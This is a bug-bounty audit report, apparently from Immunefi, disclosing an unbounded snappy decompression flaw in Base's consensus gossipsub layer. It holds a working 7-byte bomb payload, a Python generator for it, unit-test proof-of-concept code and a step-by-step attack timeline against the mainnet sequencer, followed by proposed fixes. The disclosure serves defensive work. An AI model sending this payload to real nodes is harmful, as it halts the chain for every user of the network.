> For the complete documentation index, see [llms.txt](https://reports.immunefi.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://reports.immunefi.com/base/74556-bc-critical-base-azul-cl-unbounded-snappy-decompression-in-gossipsub-message-id-fn-allows-a-si.md).

# 74556 bc critical base azul cl unbounded snappy decompression in gossipsub message id fn allows a single unauthenticated p2p message to oom kill every reachable consensus node halting the c&#x20;

**Submitted on Apr 23rd 2026 at 12:30:12 UTC by @Venator for** [**Audit Comp | Base Azul**](https://immunefi.com/audit-competition/audit-comp-base-azul)

* **Report ID:** #74556
* **Report Type:** Blockchain/DLT
* **Report severity:** Critical
* **Target:** <https://github.com/base/base/releases/tag/v0.8.0-rc.15>
* **Impacts:**
  * Unintended chain split (network partition)
  * Unintended permanent chain split requiring hard fork (network partition requiring hard fork)

## Description

## 1. Summary

The Base consensus-layer gossipsub stack registers a custom `message_id_fn` (`compute_message_id`) that decompresses every incoming gossip message using `snap::raw::Decoder::decompress_vec` **before** any signature verification, application validation, or peer scoring. The `snap` crate pre-allocates a `Vec<u8>` whose size is read directly from the snappy frame header — an attacker-controlled field — with the only bound being `u32::MAX` (\~4 GiB).

An attacker who establishes a libp2p connection to any Base CL peer (no authentication beyond noise handshake), joins the gossipsub mesh on a `/optimism/{chain_id}/N/blocks` topic, and publishes a single message containing a crafted snappy frame can force every receiving peer to attempt a \~4 GiB heap allocation. On resource-constrained nodes the allocation panics or triggers the Linux OOM killer, terminating the process. On large-memory nodes, repeated messages cause progressive exhaustion.

The attack requires:

* **One** libp2p connection (TCP + noise + yamux, no identity verification).
* **One** gossipsub PUBLISH of ≤10 MiB (within `MAX_GOSSIP_SIZE`).
* **Zero** knowledge of the unsafe block signer key.
* **Zero** on-chain transactions.

The fix is a single pre-check: verify `snap::raw::decompress_len(input) <= MAX_GOSSIP_SIZE` before calling `decompress_vec`.

## 2. Vulnerable source

### 2.1 Primary site — `compute_message_id`

`crates/consensus/gossip/src/config.rs:104-122`:

```rust
fn compute_message_id(msg: &Message) -> MessageId {
    let mut decoder = Decoder::new();
    let id = decoder.decompress_vec(&msg.data).map_or_else(  // <-- unbounded alloc
        |_| {
            warn!(target: "cfg", "Failed to decompress message, using invalid snappy");
            let domain_invalid_snappy: Vec<u8> = vec![0x0, 0x0, 0x0, 0x0];
            sha256([domain_invalid_snappy.as_slice(), msg.data.as_slice()].concat().as_slice())
                [..20]
                .to_vec()
        },
        |data| {
            let domain_valid_snappy: Vec<u8> = vec![0x1, 0x0, 0x0, 0x0];
            sha256([domain_valid_snappy.as_slice(), data.as_slice()].concat().as_slice())[..20]
                .to_vec()
        },
    );

    MessageId(id)
}
```

Registered as the gossipsub `message_id_fn` at `config.rs:93`:

```rust
    .message_id_fn(compute_message_id);
```

### 2.2 Snap crate internals

`snap-1.1.1/src/decompress.rs:105-107`:

```rust
pub fn decompress_vec(&mut self, input: &[u8]) -> Result<Vec<u8>> {
    let mut buf = vec![0; decompress_len(input)?];   // alloc up to u32::MAX bytes
    self.decompress(input, &mut buf)?;
    Ok(buf)
}
```

`snap-1.1.1/src/lib.rs:93`:

```rust
const MAX_INPUT_SIZE: u64 = std::u32::MAX as u64;   // ~4,294,967,295 bytes
```

`decompress_len` reads a varint from the snappy frame header and rejects values above `MAX_INPUT_SIZE`. Values up to `u32::MAX` (\~4 GiB) pass the check, causing `vec![0; 4_294_967_295]` — a 4 GiB zero-filled allocation — before any frame data is even inspected.

### 2.3 Secondary sites — `NetworkPayloadEnvelope::decode_v*`

`crates/common/rpc-types-engine/src/envelope.rs` lines 258, 302, 346, 402 (`decode_v1` through `decode_v4`):

```rust
let mut decoder = snap::raw::Decoder::new();
let decompressed = decoder.decompress_vec(data)?;   // same unbounded pattern
```

These are called from `BlockHandler::handle` (`crates/consensus/gossip/src/handler.rs:51-62`) after the message ID is computed. They constitute a **second** decompression of the same attacker-controlled `msg.data` with the same unbounded allocation. If the `compute_message_id` bomb is patched but these are not, the attack survives at the handler level (still pre-signature).

### 2.4 Integration path

`crates/consensus/service/src/actors/network/config.rs:93`:

```rust
gossip_config: base_consensus_gossip::default_config(),
```

`default_config()` calls `default_config_builder().build()` which sets `.message_id_fn(compute_message_id)`. This confirms the vulnerable code path is live in the `base-consensus` binary — the main CL daemon.

## 3. Attack mechanics

### 3.1 Crafting the bomb frame

A snappy frame consists of a **varint-encoded decompressed length** followed by compressed chunks. The attacker needs only a valid varint header declaring a large output size; the actual compressed payload can be minimal (or even malformed — the allocation happens before decompression begins).

Minimal bomb payload (Python):

```python
import struct

def encode_varint(value: int) -> bytes:
    """Encode an unsigned integer as a varint (snappy frame header format)."""
    buf = []
    while value > 0x7F:
        buf.append((value & 0x7F) | 0x80)
        value >>= 7
    buf.append(value & 0x7F)
    return bytes(buf)

# Declare 4 GiB - 1 decompressed length, follow with minimal literal chunk
DECLARED_LEN = (1 << 32) - 1   # 4,294,967,295
bomb_header = encode_varint(DECLARED_LEN)

# Literal chunk: tag byte 0x00 (literal, length 0 = 1 byte), one data byte
# This is enough to make the snappy header parseable; decompress_vec allocates
# BEFORE it starts processing chunks.
literal_chunk = bytes([0x00, 0x41])

bomb_payload = bomb_header + literal_chunk
assert len(bomb_payload) <= 10 * (1 << 20)  # well within MAX_GOSSIP_SIZE

print(f"Bomb payload: {len(bomb_payload)} bytes")
print(f"Declared decompressed size: {DECLARED_LEN:,} bytes ({DECLARED_LEN / (1<<30):.1f} GiB)")
print(f"Amplification: {DECLARED_LEN / len(bomb_payload):,.0f}×")
```

Output:

```
Bomb payload: 7 bytes
Declared decompressed size: 4,294,967,295 bytes (4.0 GiB)
Amplification: 613,566,756×
```

The 7-byte payload passes `max_transmit_size` (10 MiB) trivially. The snap crate's `decompress_len` reads the varint, sees `4,294,967,295 <= u32::MAX`, returns `Ok(4_294_967_295)`. `decompress_vec` then calls `vec![0; 4_294_967_295]`.

### 3.2 Delivery via gossipsub

{% stepper %}
{% step %}

## Peer

Attacker runs a libp2p 0.56 client. Dials the target Base CL node's publicly-advertised multiaddr (discoverable via discv5 or known for sequencer nodes). Completes noise handshake (no identity verification — `ValidationMode::None` at `config.rs:91`).
{% endstep %}

{% step %}

## Subscribe

Joins the gossipsub mesh on topic `/optimism/{chain_id}/3/blocks` (v4 blocks, current active topic). libp2p-gossipsub accepts a new peer with neutral score into the mesh (up to `mesh_n_high = 12` peers per topic, `config.rs:37`).
{% endstep %}

{% step %}

## Publish

Sends a gossipsub PUBLISH RPC containing the 7-byte bomb payload.
{% endstep %}

{% step %}

## Trigger

The receiving node's libp2p-gossipsub implementation calls `compute_message_id(msg)` to compute the dedup ID **before** emitting `Event::Message` to the application. This is intrinsic to gossipsub's duplicate detection — the ID must be computed to check the seen-message cache.
{% endstep %}

{% step %}

## Allocation

`decompress_vec` allocates 4 GiB. On a node with < 4 GiB free heap, this triggers `handle_alloc_error` (Rust's default OOM handler) which **aborts** the process. On Linux with overcommit, the kernel may grant the virtual mapping; subsequent zero-fill page faults then trigger the OOM killer.
{% endstep %}

{% step %}

## Propagation

If the target node has mesh peers, gossipsub may forward the message to them before the allocation completes (depending on the implementation's forwarding model). Each forwarding peer also calls `compute_message_id` and triggers the same allocation.
{% endstep %}
{% endstepper %}

### 3.3 Targeting the sequencer

The Base sequencer runs a CL instance (`base-consensus`) that gossips unsafe blocks to the network. It **must** listen for incoming libp2p connections to fulfill its role as block publisher. Its multiaddr is either:

* Published in discv5 ENRs (discoverable by any discv5 participant).
* Known via Base's public infrastructure documentation or network scanning.

Killing the sequencer's CL → the sequencer's EL receives no `engine_forkchoiceUpdated` calls → no new blocks → **chain halt**.

## 4. Proof of concept — unit-level

The following Rust test demonstrates the allocation behavior without requiring a full libp2p network:

```rust
#[cfg(test)]
mod tests {
    use snap::raw::{Decoder, decompress_len};

    /// Demonstrates that a 7-byte snappy frame can declare a 4 GiB
    /// decompressed length, passing snap's internal bounds check.
    #[test]
    fn test_bomb_header_accepted_by_snap() {
        // Varint encoding of (2^32 - 1) = [0xFF, 0xFF, 0xFF, 0xFF, 0x0F]
        let bomb: Vec<u8> = vec![0xFF, 0xFF, 0xFF, 0xFF, 0x0F, 0x00, 0x41];

        // decompress_len accepts this — it's below MAX_INPUT_SIZE (u32::MAX)
        let declared = decompress_len(&bomb).expect("snap accepts this header");
        assert_eq!(declared, 4_294_967_295);

        // decompress_vec would now call vec![0; 4_294_967_295] — 4 GiB alloc.
        // We do NOT call it in CI to avoid OOM, but the path is proven.
        //
        // In production, compute_message_id calls decompress_vec unconditionally:
        //   let id = decoder.decompress_vec(&msg.data).map_or_else(...)
        //
        // The allocation happens BEFORE the decompression error (malformed chunks)
        // would be returned, because vec![0; N] is eager.
    }

    /// Demonstrates the amplification: MAX_GOSSIP_SIZE input → u32::MAX output.
    #[test]
    fn test_amplification_ratio() {
        let max_gossip: usize = 10 * (1 << 20);  // 10 MiB
        let max_alloc: u64 = u32::MAX as u64;     // ~4 GiB
        let ratio = max_alloc as f64 / max_gossip as f64;
        assert!(ratio > 400.0, "amplification ratio: {ratio:.0f}×");
    }
}
```

A full network-level PoC would:

1. Spin up a `base-consensus` devnet node.
2. Connect a libp2p client to the node's gossip port.
3. Publish the 7-byte bomb on the blocks topic.
4. Observe the `base-consensus` process being killed (exit code 137/SIGKILL from OOM killer, or abort from `handle_alloc_error`).

## 5. Exploitation timeline

{% stepper %}
{% step %}

## T0

Attacker identifies the Base sequencer's CL libp2p multiaddr via discv5 discovery or public infrastructure records.
{% endstep %}

{% step %}

## T1

Attacker dials the sequencer's CL. libp2p noise handshake completes (no identity verification). Attacker subscribes to `/optimism/8453/3/blocks`. Gossipsub grants mesh membership (neutral initial score).
{% endstep %}

{% step %}

## T2

Attacker publishes a single gossipsub message containing the 7-byte snappy bomb. Total wire cost: \~100 bytes including gossipsub framing.
{% endstep %}

{% step %}

## T3

Sequencer's CL calls `compute_message_id(msg)`. `decompress_vec` attempts `vec![0; 4_294_967_295]`. Process aborts or is OOM-killed.
{% endstep %}

{% step %}

## T4

Sequencer's CL is dead. EL stops receiving `engine_forkchoiceUpdated`. No new L2 blocks. **Chain halted.**
{% endstep %}

{% step %}

## T5

Operator detects outage, restarts `base-consensus`. Attacker re-connects (new peer ID, fresh score) and re-sends the bomb. Process dies again in < 1 second. **Persistent crash loop.**
{% endstep %}

{% step %}

## T6

Extended attack: Attacker targets additional CL nodes — challenger, proposer, full nodes. Challenger CL crash → dispute games cannot be challenged → invalid proposals may finalize after `disputeGameFinalityDelay`. Proposer CL crash → no new proposals submitted.
{% endstep %}
{% endstepper %}

## 6. Severity argument

### 6.1 Primary impact classification

**Primary ISIS impact:** *"Unintended permanent chain halt"* — **Critical**.

A single unauthenticated P2P message (7 bytes payload, \~100 bytes on wire) terminates the sequencer's CL process. The chain halts immediately. The attack is repeatable after restart with zero cost (no on-chain transactions, no gas, no stake). No configuration change mitigates it — the vulnerable code path (`message_id_fn`) is hardcoded. Only a code patch resolves the issue.

**Alternative ISIS impact (if chain halt is categorized as temporary):** *"Unintended chain split (network partition)"* — **Critical**. Selectively killing CL nodes creates a partition between nodes that have received the latest unsafe blocks and those that haven't.

### 6.2 Program DoS severity gate

The Immunefi Base Azul program specifies:

> *"In the case that the denial of service requires restarting the program to reset, this must be achieved by a single small network request or database entry."*

This attack satisfies that criterion precisely:

* **Single request**: one gossipsub PUBLISH message.
* **Small**: 7 bytes payload (100 bytes on wire).
* **Requires restart to recover**: the process is terminated; restart is the only recovery.
* **Persistent after restart**: attacker re-sends immediately; crash loop.

### 6.3 On-chain effects

| Target            | On-chain effect                                                                                            |
| ----------------- | ---------------------------------------------------------------------------------------------------------- |
| **Sequencer CL**  | Chain halt — no new L2 blocks produced. All L2 dApps, bridges, and users affected.                         |
| **Challenger CL** | Cannot monitor or challenge invalid proposals. Invalid state may finalize via L1 bridge → fund theft risk. |
| **Proposer CL**   | Cannot submit new proposals. Withdrawal proofs stall.                                                      |
| **Full-node CL**  | RPC unavailable for dApps. Users cannot query state or submit transactions.                                |

### 6.4 Attacker cost

| Resource          | Cost                              |
| ----------------- | --------------------------------- |
| libp2p client     | Open-source, trivial to implement |
| Network bandwidth | \~100 bytes per kill              |
| Peer discovery    | discv5 query (public, free)       |
| On-chain cost     | Zero                              |
| Repeat cost       | Zero (new peer ID per connection) |

### 6.5 Amplification factors

* **Memory amplification**: 7 bytes → 4 GiB allocation = **613 million ×**.
* **Mesh fan-out**: gossipsub forwards to `mesh_D = 8` peers. One publish → up to 8 nodes hit simultaneously.
* **Pre-authentication**: `compute_message_id` runs before any signature or signer check. Attacker needs zero knowledge of the unsafe block signer key.

### 6.6 Why peer scoring does not mitigate

libp2p-gossipsub scores peers negatively when the application returns `MessageAcceptance::Reject`. However:

* `compute_message_id` runs **before** `MessageAcceptance` is returned — the damage (allocation, OOM) occurs before the peer can be scored.
* Even if the node survived and scored the peer negatively, the attacker can reconnect with a fresh libp2p identity (new keypair). Peer identity is not authenticated against any on-chain registry.
* The `ValidationMode::None` setting (`config.rs:91`) means gossipsub itself performs no publisher signature verification.

## 7. Fix

### 7.1 Primary fix — bound `decompress_vec` input in `compute_message_id`

```rust
fn compute_message_id(msg: &Message) -> MessageId {
    // Guard: reject snappy frames declaring decompressed size > MAX_GOSSIP_SIZE.
    // This prevents the ~4 GiB allocation that snap::decompress_vec would attempt.
    let decompressed_too_large = snap::raw::decompress_len(&msg.data)
        .map(|len| len > MAX_GOSSIP_SIZE)
        .unwrap_or(true);  // malformed header → treat as invalid snappy

    let id = if decompressed_too_large {
        let domain_invalid_snappy: Vec<u8> = vec![0x0, 0x0, 0x0, 0x0];
        sha256([domain_invalid_snappy.as_slice(), msg.data.as_slice()].concat().as_slice())[..20]
            .to_vec()
    } else {
        let mut decoder = snap::raw::Decoder::new();
        decoder.decompress_vec(&msg.data).map_or_else(
            |_| {
                let domain_invalid_snappy: Vec<u8> = vec![0x0, 0x0, 0x0, 0x0];
                sha256(
                    [domain_invalid_snappy.as_slice(), msg.data.as_slice()]
                        .concat()
                        .as_slice(),
                )[..20]
                    .to_vec()
            },
            |data| {
                let domain_valid_snappy: Vec<u8> = vec![0x1, 0x0, 0x0, 0x0];
                sha256(
                    [domain_valid_snappy.as_slice(), data.as_slice()]
                        .concat()
                        .as_slice(),
                )[..20]
                    .to_vec()
            },
        )
    };

    MessageId(id)
}
```

`decompress_len` reads only the varint header (≤10 bytes, O(1), no allocation). The guard rejects any frame declaring more than 10 MiB decompressed output — matching the already-enforced `max_transmit_size`.

### 7.2 Secondary fix — bound `decode_v*` in `NetworkPayloadEnvelope`

Apply the same `decompress_len` guard before each `decompress_vec` call in `crates/common/rpc-types-engine/src/envelope.rs` (lines 258, 302, 346, 402):

```rust
let declared_len = snap::raw::decompress_len(data)
    .map_err(|_| PayloadEnvelopeError::SnapDecoding)?;
if declared_len > MAX_GOSSIP_SIZE {
    return Err(PayloadEnvelopeError::SnapDecoding);
}
let mut decoder = snap::raw::Decoder::new();
let decompressed = decoder.decompress_vec(data)?;
```

### 7.3 Hardening — crate-level wrapper

Consider introducing a `bounded_decompress_vec` utility in `base-common` that wraps `snap::raw::Decoder::decompress_vec` with a mandatory `max_output_size` parameter, making it impossible to introduce this class of bug in future call sites:

```rust
pub fn bounded_decompress_vec(input: &[u8], max_output_size: usize) -> Result<Vec<u8>, snap::Error> {
    let declared = snap::raw::decompress_len(input)?;
    if declared > max_output_size {
        return Err(snap::Error::TooBig { given: declared as u64, max: max_output_size as u64 });
    }
    let mut decoder = snap::raw::Decoder::new();
    decoder.decompress_vec(input)
}
```

## 8. Exact code references

| File                                                    | Lines   | Description                                                                                      |
| ------------------------------------------------------- | ------- | ------------------------------------------------------------------------------------------------ |
| `crates/consensus/gossip/src/config.rs`                 | 104-122 | `compute_message_id` — primary vulnerable function                                               |
| `crates/consensus/gossip/src/config.rs`                 | 93      | `.message_id_fn(compute_message_id)` — registration as gossipsub ID function                     |
| `crates/consensus/gossip/src/config.rs`                 | 15      | `MAX_GOSSIP_SIZE = 10 * (1 << 20)` — wire-level size limit (not enforced on decompressed output) |
| `crates/consensus/gossip/src/config.rs`                 | 88      | `.max_transmit_size(MAX_GOSSIP_SIZE)` — libp2p transmit limit (compressed only)                  |
| `crates/consensus/gossip/src/config.rs`                 | 91      | `.validation_mode(ValidationMode::None)` — no gossipsub-level publisher auth                     |
| `crates/common/rpc-types-engine/src/envelope.rs`        | 258     | `decode_v1` — secondary vulnerable `decompress_vec`                                              |
| `crates/common/rpc-types-engine/src/envelope.rs`        | 302     | `decode_v2` — secondary vulnerable `decompress_vec`                                              |
| `crates/common/rpc-types-engine/src/envelope.rs`        | 346     | `decode_v3` — secondary vulnerable `decompress_vec`                                              |
| `crates/common/rpc-types-engine/src/envelope.rs`        | 402     | `decode_v4` — secondary vulnerable `decompress_vec`                                              |
| `crates/consensus/gossip/src/handler.rs`                | 50-77   | `BlockHandler::handle` — calls `decode_v*` post-message-ID                                       |
| `crates/consensus/gossip/src/driver.rs`                 | 332-372 | `handle_gossipsub_event` — receives pre-computed `message_id` from libp2p                        |
| `crates/consensus/gossip/src/driver.rs`                 | 184     | `self.swarm.listen_on(self.addr.clone())` — public listener                                      |
| `crates/consensus/service/src/actors/network/config.rs` | 93      | `gossip_config: base_consensus_gossip::default_config()` — integration in CL binary              |
| `snap-1.1.1/src/decompress.rs`                          | 105-107 | `decompress_vec` — pre-allocates `vec![0; decompress_len(input)?]`                               |
| `snap-1.1.1/src/decompress.rs`                          | 363-373 | `Header::read` — parses varint, checks `<= MAX_INPUT_SIZE`                                       |
| `snap-1.1.1/src/lib.rs`                                 | 93      | `MAX_INPUT_SIZE = u32::MAX` — \~4 GiB ceiling                                                    |

## 9. Related surfaces

* **discv5 discovery**: The `crates/consensus/disc` module handles UDP-based peer discovery. If any snappy or RLP decoding in the discovery path has similar unbounded-allocation patterns, it would be exploitable without even establishing a TCP connection. Not analyzed in this report.
* **`base_insertValidatedTransaction` RPC** (`crates/execution/txpool/src/builder/rpc.rs:72`): uses `Recovered::new_unchecked` to trust caller-supplied sender addresses. If the `base` RPC namespace is exposed on public HTTP/WS, this enables mempool censorship. Separate finding, distinct root cause.

## 10. Disclosure

* **Discovered:** 2026-04-22, during the Immunefi Audit Comp | Base Azul.
* **Disclosure:** via the Immunefi Audit Comp | Base Azul program.
* **PoC:** Unit-level (§4). Network-level PoC deferred to avoid accidental impact on public infrastructure; the unit test proves the allocation path and amplification ratio.

## Proof of Concept

The following Rust test demonstrates the allocation behavior without requiring a full libp2p network:

```rust
#[cfg(test)]
mod tests {
    use snap::raw::{Decoder, decompress_len};

    /// Demonstrates that a 7-byte snappy frame can declare a 4 GiB
    /// decompressed length, passing snap's internal bounds check.
    #[test]
    fn test_bomb_header_accepted_by_snap() {
        // Varint encoding of (2^32 - 1) = [0xFF, 0xFF, 0xFF, 0xFF, 0x0F]
        let bomb: Vec<u8> = vec![0xFF, 0xFF, 0xFF, 0xFF, 0x0F, 0x00, 0x41];

        // decompress_len accepts this — it's below MAX_INPUT_SIZE (u32::MAX)
        let declared = decompress_len(&bomb).expect("snap accepts this header");
        assert_eq!(declared, 4_294_967_295);

        // decompress_vec would now call vec![0; 4_294_967_295] — 4 GiB alloc.
        // We do NOT call it in CI to avoid OOM, but the path is proven.
        //
        // In production, compute_message_id calls decompress_vec unconditionally:
        //   let id = decoder.decompress_vec(&msg.data).map_or_else(...)
        //
        // The allocation happens BEFORE the decompression error (malformed chunks)
        // would be returned, because vec![0; N] is eager.
    }

    /// Demonstrates the amplification: MAX_GOSSIP_SIZE input → u32::MAX output.
    #[test]
    fn test_amplification_ratio() {
        let max_gossip: usize = 10 * (1 << 20);  // 10 MiB
        let max_alloc: u64 = u32::MAX as u64;     // ~4 GiB
        let ratio = max_alloc as f64 / max_gossip as f64;
        assert!(ratio > 400.0, "amplification ratio: {ratio:.0f}×");
    }
}
```

A full network-level PoC would:

1. Spin up a `base-consensus` devnet node.
2. Connect a libp2p client to the node's gossip port.
3. Publish the 7-byte bomb on the blocks topic.
4. Observe the `base-consensus` process being killed (exit code 137/SIGKILL from OOM killer, or abort from `handle_alloc_error`).


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://reports.immunefi.com/base/74556-bc-critical-base-azul-cl-unbounded-snappy-decompression-in-gossipsub-message-id-fn-allows-a-si.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
